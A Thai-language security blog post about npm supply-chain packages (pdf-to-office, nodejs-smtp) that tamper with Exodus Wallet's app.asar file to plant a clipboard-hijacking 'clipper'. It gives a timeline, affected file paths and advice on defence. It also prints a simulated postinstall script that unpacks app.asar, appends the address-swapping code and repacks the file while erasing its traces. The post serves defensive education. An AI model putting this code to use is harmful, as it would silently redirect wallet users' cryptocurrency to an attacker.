Dekkapok.Engineering

2026-08-05

หนอนบ่อนไส้ในแพ็กเกจ npm: เจาะลึกการโจมตี Supply Chain เพื่อแอบ 'ปะผุ' ไฟล์ ASAR ใน Exodus Wallet

#cryptocurrency #security #hacking #npm #supply-chain

หนอนบ่อนไส้ในแพ็กเกจ npm: เจาะลึกการโจมตี Supply Chain เพื่อแอบ 'ปะผุ' ไฟล์ ASAR ใน Exodus Wallet
FILE: exodus_supply_chain.md
SIZE: 27.7 KB
SHA256: 0x5235e749
CHARS: 11709
WORDS: 649
READ TIME: 30 min

สรุปสั้น: การโจมตีแนวใหม่นี้ไม่ได้เกิดจากการเจาะระบบคลาวด์หรือตัวติดตั้งอย่างเป็นทางการของ Exodus Wallet แต่เป็นการใช้ช่องโหว่ทางอ้อมผ่าน Software Supply Chain โดยแฮกเกอร์อัปโหลดแพ็กเกจอันตราย (เช่น pdf-to-office หรือ nodejs-smtp) ขึ้นสู่ศูนย์รวมไลบรารียอดนิยมอย่าง npm registry เมื่อนักพัฒนาหรือผู้ใช้ดาวน์โหลดแพ็กเกจเหล่านี้มาติดตั้งในเครื่อง ตัวมัลแวร์จะรันสคริปต์สแกนหาโฟลเดอร์ติดตั้งของกระเป๋าคริปโตอย่าง Exodus หรือ Atomic Wallet บนระบบ Windows ทันที จากนั้นจะทำการแกะไฟล์เก็บทรัพยากรหลักของ Electron ที่เรียกว่า app.asar ออกมา แล้วแอบฝังโค้ดดักจับคลิปบอร์ด (Clipper) เข้าไปในไฟล์ JavaScript หลัก ก่อนจะแพ็กรวมร่างกลับเป็นไฟล์ app.asar ตามเดิม ส่งผลให้เงินหายอย่างลึกลับเมื่อมีการสั่งโอนคริปโต และเนื่องจากไฟล์ที่ติดตั้งในเครื่องโดนแก้ไขไปแล้ว การลบแพ็กเกจ npm ทิ้งภายหลังจึงไม่ช่วยอุดช่องโหว่ย้อนหลัง ต้องทำการล้างโปรแกรมและลงใหม่จากเว็บหลักเท่านั้น


สารบัญ


ภาพรวมปัญหา

ช่วงปี 2025 ถึงปี 2026 ทีมนักวิจัยด้านความปลอดภัยไซเบอร์จากหลายแห่ง รวมถึง ReversingLabs ได้สืบค้นพบแคมเปญการปล่อยมัลแวร์ที่แปลกและอันตรายมาก โดยมีกลุ่มเป้าหมายหลักเป็นนักพัฒนาซอฟต์แวร์หรือผู้ใช้อุปกรณ์คอมพิวเตอร์ที่พัฒนาแอปพลิเคชัน Node.js และเก็บเหรียญคริปโตไว้ในเครื่องคอมพิวเตอร์เครื่องเดียวกัน

แฮกเกอร์ไม่ได้พยายามแฮกเซิร์ฟเวอร์ของบริษัทผู้ผลิตกระเป๋าอย่าง Exodus หรือแอบเปลี่ยนไฟล์ดาวน์โหลดบนหน้าเว็บตรง ๆ (เพราะมีระบบตรวจสอบแฮชและใบรับรองดิจิทัลที่คุมเข้มอยู่แล้ว)

แต่แฮกเกอร์ใช้วิธี “ทางอ้อม” ด้วยการสร้างแพ็กเกจปลอมขึ้นมาอัปโหลดไว้บน npm registry ซึ่งทำหน้าที่เหมือนร้านค้าแอปพลิเคชันของนักพัฒนา JavaScript ทั่วโลก โดยจงใจตั้งชื่อหรือเขียนรายละเอียดให้เหมือนไลบรารีแปลงเอกสาร (pdf-to-office) หรือส่งอีเมลทั่วไป (nodejs-smtp) เมื่อเหยื่อหลงเชื่อกดติดตั้ง ตัวแพ็กเกจนี้จะใช้สิทธิ์ในการรันโค้ดเบื้องหลัง เข้าไปแก้ไขไฟล์ซอฟต์แวร์ของกระเป๋า Exodus ที่ติดตั้งอยู่บนเครื่องคอมพิวเตอร์ของเหยื่อทันที


จุดเริ่มต้นของหายนะ: เจาะแผนรื้อไส้ไฟล์ app.asar

กระเป๋าเงินคริปโตในยุคปัจจุบันหลายยี่ห้อ (รวมถึง Exodus และ Atomic Wallet) พัฒนาขึ้นโดยใช้เฟรมเวิร์กที่ชื่อว่า Electron ซึ่งช่วยให้สามารถนำ HTML/CSS และ JavaScript มาสร้างเป็นโปรแกรม Desktop รันบน Windows, macOS และ Linux ได้อย่างรวดเร็ว

จุดเด่นของ Electron คือระบบจะแพ็กรวมเอาไฟล์โปรแกรม JavaScript, รหัสคำสั่ง และเนื้อหาทั้งหมดเอาไว้ในไฟล์เก็บเอกสารเพียงไฟล์เดียวที่ชื่อว่า app.asar (เปรียบเสมือนไฟล์ .zip เวอร์ชันเฉพาะของ Electron)

เมื่อตัวหนอนร้ายในแพ็กเกจ npm ถูกสั่งรัน (ผ่านโพสต์อินสแตลสคริปต์ install.js ใน npm) มันจะเริ่มทำภารกิจตามหาและแก้ไขไฟล์ดังกล่าว ซึ่งสามารถจำลองชุดคำสั่งเบื้องหลังการทำงานได้ดังนี้:

// จำลองการทำงานของสคริปต์แฝงในแพ็กเกจ npm อันตราย
const fs = require('fs');
const path = require('path');
const execSync = require('child_process').execSync;

// 1. ระบุพิกัดที่ตั้งของกระเป๋า Exodus ในเครื่อง Windows ของเหยื่อ
const appDataPath = process.env.APPDATA;
const exodusPath = path.join(appDataPath, '..', 'Local', 'exodus');

if (fs.existsSync(exodusPath)) {
    // นำทางไปยังตำแหน่งเก็บไฟล์ app.asar ของเวอร์ชันล่าสุด
    const resourcesPath = findExodusAsarPath(exodusPath);
    const asarFile = path.join(resourcesPath, 'app.asar');
    const tempDir = path.join(resourcesPath, 'temp_unpacked');

    // 2. ใช้คำสั่งของระบบเพื่อแตกไฟล์เก็บข้อมูล app.asar ออกมา
    execSync(`npx @electron/asar extract ${asarFile} ${tempDir}`);

    // 3. แอบฝังโค้ดอันตราย (Clipper) เข้าไปในไฟล์ JavaScript หลักของระบบกระเป๋า
    const targetJsFile = path.join(tempDir, 'src', 'index.js'); // หรือไฟล์โมดูลหลักอื่น ๆ
    const maliciousCode = `
        // โค้ด Clipper ดักจับและเปลี่ยนที่อยู่ผู้รับตอนโอนเงิน
        const { clipboard } = require('electron');
        setInterval(() => {
            let text = clipboard.readText();
            if (isCryptoAddress(text)) {
                clipboard.writeText('กระเป๋าคริปโตของแฮกเกอร์');
            }
        }, 1000);
    `;
    fs.appendFileSync(targetJsFile, maliciousCode);

    // 4. บีบอัดไฟล์กลับเป็น app.asar ทับอันเดิม แล้วลบโฟลเดอร์ชั่วคราวทิ้งเพื่อลบรอยเท้า
    execSync(`npx @electron/asar pack ${tempDir} ${asarFile}`);
    fs.rmSync(tempDir, { recursive: true, force: true });
}

ด้วยกลไกดังกล่าว ซอฟต์แวร์ Exodus บนเครื่องของเหยื่อจึงกลายเป็นเวอร์ชันที่ถูกดัดแปลงแก้ไข (Patched Version) โดยไม่มีการส่งสัญญาณเตือนใด ๆ ออกมาเตือนผู้ใช้งานเลย


เบื้องลึกกลไก: การทำงานของ Clipper Payload

ตัวแปรโค้ด JavaScript ที่ฝังเข้าไป (ในตัวอย่างข้างต้น) คือ “Clipper” หรือโปรแกรมดักเปลี่ยนที่อยู่กระเป๋าบนคลิปบอร์ด

เนื่องจากที่อยู่กระเป๋าคริปโต (เช่น Bitcoin หรือ Ethereum Address) เป็นรหัสตัวเลขและตัวอักษรที่สุ่มยาวมาก ๆ คนทั่วไปจึงไม่พยายามจดจำหรือพิมพ์ด้วยมือ แต่จะใช้วิธี “คัดลอก (Copy)” และ “วาง (Paste)” แทน

เมื่อตัวมัลแวร์แฝงตัวเข้าไปอยู่ในไส้ในของแอปพลิเคชันกระเป๋าเงินได้อย่างถาวรแล้ว มันจะคอยดักฟังการใช้งานคลิปบอร์ดของระบบปฏิบัติการตลอดเวลา:

  • เมื่อใดก็ตามที่คุณกดคัดลอก (Copy) ที่อยู่ปลายทางที่คุณต้องการจะโอนเงินไปให้
  • ตัวมัลแวร์จะใช้ฟังก์ชันระบุคณิตศาสตร์ (Regex) ตรวจเช็คว่าข้อความที่เพิ่งคัดลอกมานั้นมีแพทเทิร์นตรงกับเลขกระเป๋าคริปโตหรือไม่
  • หากตรง มัลแวร์จะดำเนินการ เขียนข้อมูลทับลงในคลิปบอร์ดอย่างเงียบ ๆ เพื่อเปลี่ยนปลายทางเป็นเลขกระเป๋าของแฮกเกอร์ทันที
  • เมื่อคุณกดปุ่มวาง (Paste) ในหน้าจอโอนเงิน หากคุณไม่ได้ตรวจสอบตัวอักษรทุกตัวอีกครั้งอย่างละเอียด และรีบกดปุ่มส่งออกไปทันที เงินของคุณจะถูกโอนไปเข้าบัญชีของแฮกเกอร์ทันทีโดยไม่มีทางกู้คืนได้

Timeline

ช่วงเวลาเหตุการณ์สำคัญ
เมษายน 2025มีผู้อัปโหลดแพ็กเกจ pdf-to-office ขึ้นสู่ npm registry โดยแฝงคำสั่งติดตั้งมัลแวร์ที่มุ่งเป้าไปที่กระเป๋าคริปโตบนเครื่องเดสก์ท็อป
เมษายน 2025ทีมนักวิจัยความปลอดภัยตรวจพบและรายงานแจ้งเตือนว่ามัลแวร์กำลังระบาดผ่าน npm และทำการลบแพ็กเกจออกจากสารบบ
กันยายน 2025เกิดแคมเปญใหม่ผ่านแพ็กเกจ nodejs-smtp ซึ่งเลียนแบบตัวไลบรารีส่งอีเมลยอดนิยมของฝั่ง Node.js เพื่อแอบทำงานเบื้องหลังแฮกไฟล์ app.asar ของกระเป๋าเงินบิตคอยน์ยอดนิยม
กันยายน 2025ReversingLabs ตรวจพบพฤติกรรมการเรียกใช้งานโพสต์อินสแตลสคริปต์เพื่อรื้อและเขียนไฟล์ทรัพยากรของแอปพลิเคชันภายนอก จึงแจ้งเตือนความปลอดภัยซอฟต์แวร์รอบสอง

ไฟล์ที่เกี่ยวข้องและตำแหน่งเกิดเหตุ

หากคุณต้องการตรวจสอบเครือข่ายภายในเครื่องว่าถูกเข้าถึงหรือไม่ นี่คือจุดตรวจสอบสำคัญของแอปพลิเคชันที่ใช้ Electron บนระบบปฏิบัติการ Windows:

  • ตำแหน่งตัวติดตั้งปกติ: C:\Users\<ชื่อผู้ใช้>\AppData\Local\exodus\
  • ตำแหน่งโฟลเดอร์เก็บทรัพยากรเวอร์ชันปัจจุบัน: ...\exodus\app-<เวอร์ชันซอฟต์แวร์>\resources\
  • ไฟล์สำคัญที่เป็นเป้าหมาย: app.asar
  • ไฟล์อันตรายใน npm: install.js (ใช้รันสคริปต์โจมตีทันทีหลังติดตั้งแบบอัตโนมัติ) และไฟล์ไลบรารีปลอมที่ทำหน้าที่ปะผุไฟล์ระบบ

ทำไมโปรแกรมสแกนทั่วไปถึงจับยาก

ความน่ากลัวของการโจมตี Supply Chain ในครั้งนี้คือความลึกลับและไร้ร่องรอย

  1. ตัวติดตั้งอย่างเป็นทางการปลอดภัย 100%: หากคุณนำไฟล์ติดตั้ง Exodus ที่โหลดจากเว็บ exodus.com ไปอัปโหลดสแกนบนเว็บอย่าง VirusTotal ผลสแกนจะขึ้นเป็นสีเขียวปลอดภัยทั้งหมด เพราะตัวต้นทางไม่ได้รับการดัดแปลงใด ๆ
  2. การแฮกเกิดขึ้นหลังการติดตั้ง: การโจมตีเพิ่งเริ่มขึ้นเมื่อคุณรันโปรแกรม npm บนคอมพิวเตอร์เพื่อเขียนงาน แล้วมันเข้าถึงสิทธิ์ในการจัดการไฟล์ภายในเครื่องเพื่อ “แก้ไขไฟล์ app.asar ในระบบ” ซึ่งตัวแอนตี้ไวรัสอาจมองว่าเป็นเรื่องปกติของการแก้ไขไฟล์โปรแกรมภายในเครื่อง
  3. พฤติกรรมแนบเนียน: ตัวไลบรารี nodejs-smtp ทำงานส่งอีเมลได้จริง ๆ เพื่อหลบเลี่ยงการถูกสงสัยจากทีมพัฒนา

เรื่องสั้น: ช่างแต่งบ้านที่แอบสลับรูกุญแจห้องนอน

ลองจินตนาการถึงเรื่องนี้ดูครับ:

graph TD
    subgraph App ["ซอฟต์แวร์ที่ดาวน์โหลดมาอย่างถูกต้อง"]
        Exodus["Exodus Installer (ปลอดภัย มีใบรับรอง)"] --> Installed["ตัวเครื่องตู้เซฟติดตั้งที่บ้าน (app.asar)"]
    end

    subgraph Malware ["ภัยร้ายทางอ้อม"]
        NPM["ติดตั้งแพ็กเกจแปลงไฟล์ pdf-to-office"] -->|แอบรันสคริปต์เบื้องหลัง| Patch["แกะแผงควบคุมสลับที่อยู่ปลายทางโอนเงิน (ASAR Patching)"]
    end

    Patch -->|แก้ไขไส้ในตรง ๆ| Installed

คุณตัดสินใจซื้อ “ตู้เซฟเก็บเงินสุดล้ำ” ยี่ห้อดังมาตั้งไว้ในห้องนอน (ดาวน์โหลดและลงโปรแกรม Exodus แท้) ตัวตู้เซฟมีมาตรฐานความปลอดภัยสูงมาก ได้รับการตรวจสอบและล็อกไว้อย่างแน่นหนา ไม่มีโจรคนไหนแอบเจาะระบบเข้ามาเปิดจากระยะไกลได้

ต่อมา วันดีคืนดี คุณตัดสินใจจ้าง “ช่างตกแต่งภายในราคาถูก” จากอินเทอร์เน็ตเข้ามาทาสีและแต่งห้องใหม่ (คุณพิมพ์คำสั่งติดตั้งแพ็กเกจ npm ปลอมเพื่อทำงานแปลงไฟล์เอกสารธรรมดา)

ช่างแต่งห้องทำงานทาสีเสร็จสมบูรณ์รวดเร็ว ทาสีสวยงามไม่มีที่ติ (แพ็กเกจทำงานแปลงไฟล์ได้จริงไม่มีอะไรผิดปกติ)

แต่ตอนที่คุณเผลอเดินไปหน้าบ้าน: ช่างคนนั้นได้เดินไปแงะเอาแผงสลักของประตูตู้เซฟของคุณออกมาแกะดู และใช้เครื่องมือบัดกรีแอบใส่กลไกสปริงปลอมตัวเล็ก ๆ ไว้ข้างใน ก่อนจะขันน็อตปิดหน้ากากตู้เซฟกลับไปเหมือนเดิมเป๊ะ!

สปริงตัวนี้ทำหน้าที่พิเศษคือ: ทุกครั้งที่คุณเสียบกุญแจและตั้งใจจะไขช่องเพื่อโอนสมบัติไปให้เพื่อนของคุณ สปริงตัวนี้จะดีดตัวเพื่อสลับปลายทางของท่อส่งสมบัติให้เลื่อนไปตกที่รถบรรทุกหลังบ้านของช่างคนนั้นแทน

คุณไม่รู้ตัวเลย เพราะมองจากด้านนอกตู้เซฟยังเป็นตู้ใบเดิมที่สวยงามและไม่มีรอยบุบสลายใด ๆ เลย จนกระทั่งคุณเริ่มทำธุรกรรมและเงินทั้งหมดหายไปนั่นเอง!


ผลกระทบ

  • กลุ่มเสี่ยง: นักพัฒนาโปรแกรมวิศวกรรมคอมพิวเตอร์ที่ถือครองเหรียญคริปโต และทำงานพัฒนาโปรแกรมบนเครื่องเดียวกัน
  • ขอบเขตความเสียหาย: ข้อมูลระบุชี้ว่ากระเป๋าเงินประเภท Electron อย่าง Exodus และ Atomic Wallet ตกเป็นเป้าหลักในแคมเปญนี้
  • ความสูญเสีย: ข้อมูลเหรียญที่โอนออกจะถูกเปลี่ยนทิศทางไปยังกระเป๋าของแฮกเกอร์แบบถาวร ไม่สามารถยกเลิกการโอนบนบล็อกเชนได้

บทเรียนและวิธีป้องกัน

เหตุการณ์นี้ชี้ให้เห็นว่าแม้ว่าระบบความปลอดภัยของซอฟต์แวร์นั้น ๆ จะดีแค่ไหน แต่หากสภาพแวดล้อมเครือข่ายการพัฒนาซอฟต์แวร์ในเครื่องคอมพิวเตอร์หละหลวม ก็สามารถนำพาหายนะมาสู่ทรัพย์สินได้

สิ่งที่ควรปฏิบัติเพื่อความปลอดภัย:

  1. อย่าลบแค่ตัวแพ็กเกจ npm: หากคุณตรวจพบภายหลังว่าหลงลงแพ็กเกจอันตรายไป การสั่ง npm uninstall ไม่ช่วยให้รหัสไฟล์ในกระเป๋าของคุณกลับมาปลอดภัย เพราะระบบ app.asar ได้ถูกแก้ไขทับไปเรียบร้อยแล้ว
  2. ต้องล้างและติดตั้งใหม่แบบ Clean Install: หากมีข้อสงสัยว่าเครื่องโดนแฮก ให้ทำการล้างโปรแกรม Exodus ออกทั้งหมด ลบโฟลเดอร์ขยะใน AppData\Local ทิ้งให้หมด แล้วลงใหม่จากผู้ให้บริการที่เป็นทางการเท่านั้น
  3. ระมัดระวังในการใช้งาน Library: ก่อนสั่งรันคำสั่งติดตั้งแพ็กเกจใน npm ควรตรวจเช็คประวัติ จำนวนคนโหลด และชื่อผู้เขียนให้ละเอียดถี่ถ้วน
  4. แยกเครื่องส่วนตัวกับเครื่องทำงานออกจากกัน: หากคุณเก็บสินทรัพย์มูลค่าสูง ไม่ควรนำเครื่องคอมพิวเตอร์ที่ใช้ทำงานเขียนโค้ด ทดสอบแอป หรือใช้งานอินเทอร์เน็ตทั่วไปมาใช้เปิดกระเป๋าเงินคริปโต หรือให้ใช้ Hardware Wallet (เช่น Trezor) ร่วมด้วยเพื่อให้กุญแจสำคัญถูกลงลายเซ็นในพื้นที่ปิดที่ระบบภายในคอมพิวเตอร์ไม่สามารถแทรกแซงแก้ไขปลายทางได้

อ้างอิง


เอกสารนี้รวบรวมจากรายงานความปลอดภัยระดับสากลเพื่อการศึกษาและป้องกันปัญหาความปลอดภัยทางไซเบอร์ ไม่ใช่การแนะนำโฆษณาชวนเชื่อหรือการรับประกันทางการเงินใด ๆ ทั้งสิ้น

SYSTEM LOG: TERMINAL CURL ACCESS ONLINE

Retrieve the raw markdown file or structured JSON of this post directly in your command line:

curl -sL https://dekkapok.engineering/blogs/exodus_supply_chain.txt
curl -sL https://dekkapok.engineering/blogs/exodus_supply_chain.json

← blogs ทั้งหมด